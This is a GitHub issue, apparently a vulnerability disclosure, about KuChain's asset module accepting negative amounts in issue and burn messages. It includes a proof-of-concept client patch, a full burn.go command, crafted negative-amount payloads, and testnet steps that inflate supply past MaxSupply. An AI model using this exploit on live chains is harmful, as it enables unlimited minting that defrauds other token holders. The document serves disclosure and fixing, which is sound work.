-
Notifications
You must be signed in to change notification settings - Fork 14
Description
Describe The Bug
There exists no negative check for the Amount field in MsgIssueCoinData and MsgBurnCoinData when handling MsgIssueCoin and MsgBurnCoin.
The attacker can sends a MsgIssueCoin transaction which contains a negative Amount. This transaction will be executed successfully. As a consequence, the coin amount can be set as a negative value, which is an unexpected result.
Similarly, the attacker can also sends a MsgBurnCoin transaction which contains a huge negative Amount, and this will be executed successfully as well. Through this way, the coin creator can make the coin Supply go far beyond the MaxSupply limitation and get huge amounts of coins, which seriously disrupts the market order.
First, we show how the coin amount can be set as negative, by sending a MsgIssueCoin transaction.
Code Snippets(Optional)
/x/asset/client/cli/issue.go:L47-52
func Issue(cdc *codec.Codec) *cobra.Command {
...
amount, err := sdk.ParseCoin(args[2])
if err != nil {
return err
}
// To send a transaction with negative Amount, add the below line
amount.Amount = amount.Amount.Neg()
...
}Input/Output
- Craft a MsgIssueCoin: '{"creator":"kratos","symbol":"kvs","amount":"-20000kratos/kvs"}'
- Output: None
To Reproduce
- make
- ./scripts/boot-testnet.sh ./
- ./build/ktscli tx asset create kratos kvs 1000000kratos/kvs 1 1 10 1kratos/kvs "test" --keyring-backend test --chain-id testing --home ./testing/cli/ --from kratos
- ./build/ktscli tx asset issue kratos kvs 10000kratos/kvs --keyring-backend test --chain-id testing --home ./testing/cli/ --from kratos
- ./build/ktscli query asset coins kratos
- Add one line code
amount.Amount = amount.Amount.Neg()in the client code located at /x/asset/client/cli/issue.go:L52, as shown in theCode Snippets. - make
- ./build/ktscli tx asset issue kratos kvs 20000kratos/kvs --keyring-backend test --chain-id testing --home ./testing/cli/ --from kratos
- ./build/ktscli query asset coins kratos
Expected Behavior
Return an error "The amount of coin cannot be negative."
Next, we show how the coin creator can go through the MaxSupply limitation and get a large amounts of coins, by sending a MsgBurnCoin transaction.
The client code doesn't implement the burn command, so we need to implement one by ourselves.
Code Snippets(Optional)
Create a file burn.go under the dircetory /x/asset/client/cli/ populated with the following code.
package cli
import (
"bufio"
"github.com/KuChainNetwork/kuchain/chain/client/flags"
"github.com/KuChainNetwork/kuchain/chain/client/txutil"
chainTypes "github.com/KuChainNetwork/kuchain/chain/types"
"github.com/KuChainNetwork/kuchain/x/asset/types"
"github.com/cosmos/cosmos-sdk/client/context"
"github.com/cosmos/cosmos-sdk/codec"
sdk "github.com/cosmos/cosmos-sdk/types"
sdkerrors "github.com/cosmos/cosmos-sdk/types/errors"
"github.com/spf13/cobra"
)
func Burn(cdc *codec.Codec) *cobra.Command {
cmd := &cobra.Command{
Use: "burn [creator] [amount]",
Short: "burn coin",
Args: cobra.ExactArgs(2),
RunE: func(cmd *cobra.Command, args []string) error {
inBuf := bufio.NewReader(cmd.InOrStdin())
txBldr := txutil.NewTxBuilderFromCLI(inBuf).WithTxEncoder(txutil.GetTxEncoder(cdc))
cliCtx := context.NewCLIContextWithInput(inBuf).WithCodec(cdc)
creator, err := chainTypes.NewName(args[0])
if err != nil {
return err
}
creatorID := types.NewAccountIDFromName(creator)
ctx := txutil.NewKuCLICtx(cliCtx).WithFromAccount(creatorID)
auth, err := txutil.QueryAccountAuth(ctx, creatorID)
if err != nil {
return sdkerrors.Wrapf(err, "query account %s auth error", creator)
}
amount, err := sdk.ParseCoin(args[1])
if err != nil {
return err
}
amount.Amount = amount.Amount.Neg()
msg := types.NewMsgBurn(auth, creatorID, amount)
return txutil.GenerateOrBroadcastMsgs(ctx, txBldr, []sdk.Msg{msg})
},
}
cmd = flags.PostCommands(cmd)[0]
return cmd
}Add the Burn function to the command line.
/x/asset/client/cli/tx.go:L19-38
func GetTxCmd(cdc *codec.Codec) *cobra.Command {
txCmd.AddCommand(
Transfer(cdc),
Create(cdc),
Issue(cdc),
Burn(cdc), // Add this line
LockCoin(cdc),
UnlockCoin(cdc),
)
}Modify the NewMsgBurn function.
/x/asset/types/msgs.go:L85-86
func NewMsgBurn(auth types.AccAddress, id types.AccountID, amount types.Coin) MsgBurnCoin {
return MsgBurnCoin{
...
}
}Input/Output
- Craft a MsgBurnCoin: '{"creator":"kratos",,"amount":"-1000000000000000000000000000kratos/kvs"}'
- Output: None
To Reproduce
- modify the code as shown in the
Code Snippets - make
- ./scripts/boot-testnet.sh ./
- ./build/ktscli tx asset create kratos kvs 1000000kratos/kvs 1 1 10 1kratos/kvs "test" --keyring-backend test --chain-id testing --home ./testing/cli/ --from kratos
- ./build/ktscli tx asset burn kratos 1000000000000000000000000000kratos/kvs --keyring-backend test --chain-id testing --home ./testing/cli/ --from kratos
- ./build/ktscli query asset coins kratos
Expected Behavior
Return an error "The amount of coin cannot be negative."
Desktop (please complete the following information):
- OS: [macOS Catalina 10.15.6]
Additional Context (Optional)
For some reason, we cannot create a transaction with negative Amount through command line, so we modify the client code for our purposes.
Note that, although the client code doesn't implement NewMsgBurn, the server does indeed support MsgBurnCoin. So, we can implement one following the example of NewMsgIssue, and use that to trigger the vulnerability.
Contact Information
xiang.yin@chaitin.com
blockchain@chaitin.com


